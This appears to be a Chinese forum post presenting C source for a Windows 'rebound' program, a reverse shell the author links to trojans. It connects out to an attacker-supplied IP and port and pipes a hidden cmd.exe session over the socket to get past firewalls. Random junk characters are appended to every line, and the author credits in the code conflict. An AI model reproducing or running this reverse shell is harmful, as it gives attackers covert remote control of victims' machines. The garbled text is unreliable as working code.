这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'i8U
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/* ============================== pCu!l#J
Rebound port in Windows NT 8*c3|
By wind,2006/7 YxGcFjJ
===============================*/ Ox#Q2W@Uy
#include KT.?Xp:z
#include ]=EM@
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#pragma comment(lib,"wsock32.lib") $LHa?3
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void OutputShell(); M0'
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SOCKET sClient; G\;}w
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TS"D]Txs
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void main(int argc,char **argv) ]}mxY
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{ GI7=xh
WSADATA stWsaData; 4<X!<]3]
int nRet; |3{&@7
SOCKADDR_IN stSaiClient,stSaiServer; \@~UDP]7
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if(argc != 3) ==H$zmK
{ QJW`}`R
printf("Useage:\n\rRebound DestIP DestPort\n"); M|[ZpM+
return; W><dYy=z5
} +-a&2J;J'
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WSAStartup(MAKEWORD(2,2),&stWsaData); QR>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s-W[.r|
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stSaiClient.sin_family = AF_INET; b}G24{
stSaiClient.sin_port = htons(0); 3I|3wQ (
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }sxn72,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;U`X 6d
{ >~\w+^2f8
printf("Bind Socket Failed!\n"); +jqj6O@Tjr
return; jAND7&W
} t=R6mjb
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stSaiServer.sin_family = AF_INET; #*c F8NV-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'ZQWYr9R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tVqmn
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n(lk
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{ lM#A3/=K
printf("Connect Error!"); S='syq>Aok
return; O {k:yVb
} "%@uO)A /
OutputShell(); pl V7+?G
} \;]kYO}
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void OutputShell() }Uf<ZXW
{ uD["{?H
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; @("}]/O
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OSVERSIONINFO stOsversionInfo; R:aYL~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^+R:MBK
STARTUPINFO stStartupInfo; 5]jIg<j
char *szShell; `BnP[jF
PROCESS_INFORMATION stProcessInformation; l9/:FiJ_
unsigned long lBytesRead; 137Xl>nO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (_9|w|(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3]n0 &MZAR
stSecurityAttributes.lpSecurityDescriptor = 0; {*/dD`
stSecurityAttributes.bInheritHandle = TRUE; y~F<9;$=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @ERu>nSP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?z"KnR+?Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `<j_[(5yb
stStartupInfo.wShowWindow = SW_HIDE; ~4)Y#IxL
stStartupInfo.hStdInput = hReadPipe; *(*+`qZL{(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gvnj&h.GV
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GetVersionEx(&stOsversionInfo); LW39YMw<
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switch(stOsversionInfo.dwPlatformId) aQcN&UA@
{ kd;'}x=5yP
case 1: !%mi&ak(Rn
szShell = "command.com"; W>L@j(
break; Q-zdJt
default: 4w{-'M.B
szShell = "cmd.exe"; Yb=6C3l@
break; wk02[
} E' %lxr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CW:gEm+
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send(sClient,szMsg,77,0); w{'2q^>6*
while(1) 2z983^
{ '@:[axu
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jNy?[
)
if(lBytesRead) /#yA%0=w
{ DzPs!(5[I
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A/Khk2-:
send(sClient,szBuff,lBytesRead,0); wO"GtVd
} =w<VT%
else fW~*6ln
{ 7<yp"5><)
lBytesRead=recv(sClient,szBuff,1024,0); i=8UBryr'e
if(lBytesRead<=0) break; -3mgza
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rR!U;
} r] t )x*
} F^'v{@C
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return; F14(;'Az
}